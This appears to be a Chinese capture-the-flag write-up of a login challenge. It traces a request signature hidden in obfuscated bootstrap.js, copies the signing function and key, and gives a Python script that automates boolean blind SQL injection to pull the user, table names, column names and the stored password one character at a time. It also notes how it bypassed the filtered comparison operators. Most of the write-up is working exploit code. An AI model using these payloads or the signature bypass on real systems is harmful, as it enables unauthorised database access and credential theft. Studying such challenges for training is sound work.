测试注入
用户名处存在注入,测试如下(单引号输入被js拦截,复制粘贴即可)
- 1’ -> User name does not exist.
- 1’=0# -> Incorrect password!
测试admin用户名,提示密码不正确说明存在admin用户。
诡异的_nonce
用burp拦截请求,修改username注入点的值,重新发送提示为illegal request,把username改回从网页中发出请求时的值,正确相应。发现任意更改username或者password字段都会产生不合法请求的相应。也许是_nonce参数搞鬼,查看login.js:
$(document).keydown(function(e) {
if (e.keyCode == 222 || e.keyCode == 188 || e.keyCode == 190) {
alert("Illegal character");
return false;
}
});
function getnonce() {
var text = "";
var possible = "0123456789abcdef";
for (var i = 0; i < 40; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
$('#submit').click(function() {
this._nonce = getnonce();
});
这里的_nonce压根就是随机数,没有任何规律,不应该成为校验参数,而且本身的语法好像也有一些问题this._nonce
这么写也并没有被提交啊,只是设置了id为submit的一个成员变量,再看这个名为submit的成员是那个按钮。所以这应该不是我们拦截到请求里生成的_nonce参数的代码,继续寻找。
发现jquery-3.1.1.js和bootstrap.js居然是格式化好的,显然有猫腻。猜测校验码是通过用户名和密码生成的,那么应该就是通过点击button,还是要有代码通过button的id:submit
来绑定这个事件,最终在bootstrap.js中搜索submit字符串发现如下代码:
$(document).ready(function() {
$("#" + "f" + "r" + "m" + "l" + "o" + "g" + "i" + "n").submit(function(e) {
var z1 = $("#" + "u" + "s" + "e" + "r" + "n" + "a" + "m" + "e").val();
var z2 = $("#" + "p" + "a" + "s" + "s" + "w" + "o" + "r" + "d").val();
$('<' + 'i' + 'n' + 'p' + 'u' + 't' + '>').attr({
type: 'h' + 'i' + 'd' + 'd' + 'e' + 'n',
name: '_' + 'n' + 'o' + 'n' + 'c' + 'e',
value: sign(z1 + z2, "YTY" + "0Yj" + "M0Y" + "2Rh" + "ZTZ" + "iMj" + "liZ" + "jFj" + "OTQ" + "xOD" + "==")
}).appendTo('#' + 'f' + 'r' + 'm' + 'l' + 'o' + 'g' + 'i' + 'n');
});
});
虽然混淆,大概也看明白了,通过sign函数生成了校验码,第一个参数是输入的用户名和密码拼接而成,第二个参数是固定的。sign函数的实现就在这段代码上部。
PyExecJS
因为要自动化完成校验码的生成,这里采用python的PyExecJS,用python来执行js,脚本如下,参考:python 调用js中的方法
sign.js
function sign (data, key) {
var privateKey
var i, j
var W = new Array(80)
var A, B, C, D, E
var H0 = 0x97B5D3F1
var H1 = 0x1F3D5B79
var H2 = 0x684A2C0E
var H3 = 0xE0C2A486
var H4 = 0x33221100
var H5 = 0xF0F0F0F0
var temp
var _RSA = function (n, s) {
var t4 = (n << s) | (n >>> (32 - s))
return t4
}
var _Rot = function (val) {
var str = ''
var i
var v
for (i = 7; i >= 0; i--) {
v = (val >>> (i * 4)) & 0x0f
str += v.toString(16)
}
return str
}
str = unescape(encodeURIComponent(key + data))
var strLen = str.length
var wordArray = []
for (i = 0; i < strLen - 3; i += 4) {
j = str.charCodeAt(i) << 24 |
str.charCodeAt(i + 1) << 16 |
str.charCodeAt(i + 2) << 8 |
str.charCodeAt(i + 3)
wordArray.push(j)
}
switch (strLen % 4) {
case 0:
i = 0x080000000
break
case 1:
i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
break
case 2:
i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
break
case 3:
i = str.charCodeAt(strLen - 3) << 24 |
str.charCodeAt(strLen - 2) << 16 |
str.charCodeAt(strLen - 1) <<
8 | 0x80
break
}
wordArray.push(i)
while ((wordArray.length % 16) !== 14) {
wordArray.push(0)
}
wordArray.push(strLen >>> 29)
wordArray.push((strLen << 3) & 0x0ffffffff)
H0 ^= H5
H1 ^= H5
H2 ^= H5
H3 ^= H5
H4 ^= H5
for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
for (i = 0; i < 16; i++) {
W[i] = wordArray[privateKey + i]
}
for (i = 16; i <= 79; i++) {
W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
}
A = H0
B = H1
C = H2
D = H3
E = H4
for (i = 0; i <= 19; i++) {
temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 20; i <= 39; i++) {
temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 40; i <= 59; i++) {
temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 60; i <= 79; i++) {
temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
H0 = (H0 + A) & 0x0ffffffff
H1 = (H1 + B) & 0x0ffffffff
H2 = (H2 + C) & 0x0ffffffff
H3 = (H3 + D) & 0x0ffffffff
H4 = (H4 + E) & 0x0ffffffff
}
temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
return temp.toLowerCase()
}
flag.py
# -*-coding:utf-8-*-
import requests
import execjs
flag = ""
url = "http://8102593d8e3c4530a12de86e8814111e161d3693bf704765.game.ichunqiu.com/login.php"
def get_js():
f = open("sign.js",'r')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr + line
line = f.readline()
return htmlstr
def get_nonce(a):
jsstr = get_js()
ctx = execjs.compile(jsstr)
return (ctx.call("sign",a,"YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD=="))
for i in range(1,50):
for j in range(33,127):
#user = "1'or ord(mid((select user()),%s,1))=%s #" % (i, j)
#user = "1'or ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%s #" % (i, j)
#user = "1'or ord(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s #" % (i, j)
#user = "1'or ord(mid((select `name` from users limit 0,1),%s,1))=%s #" % (i, j)
user = "1'or ord(mid((select `p@ssw0rd` from users limit 0,1),%s,1))=%s #" % (i, j)
passwd="x"
nonce = get_nonce(user+passwd)
data ={
"username": user,
"password": passwd,
"_nonce": nonce
}
r = requests.post(url=url,data=data)
if "Incorrect" in r.content:
flag += chr(j)
print flag
break
盲注payload
- 这里发现了过滤的大于小于号,于是直接采用了等号绕过
- 字段p@ssw0rd两侧需要加反引号才能成功爆出密码
- 登录即可看到flag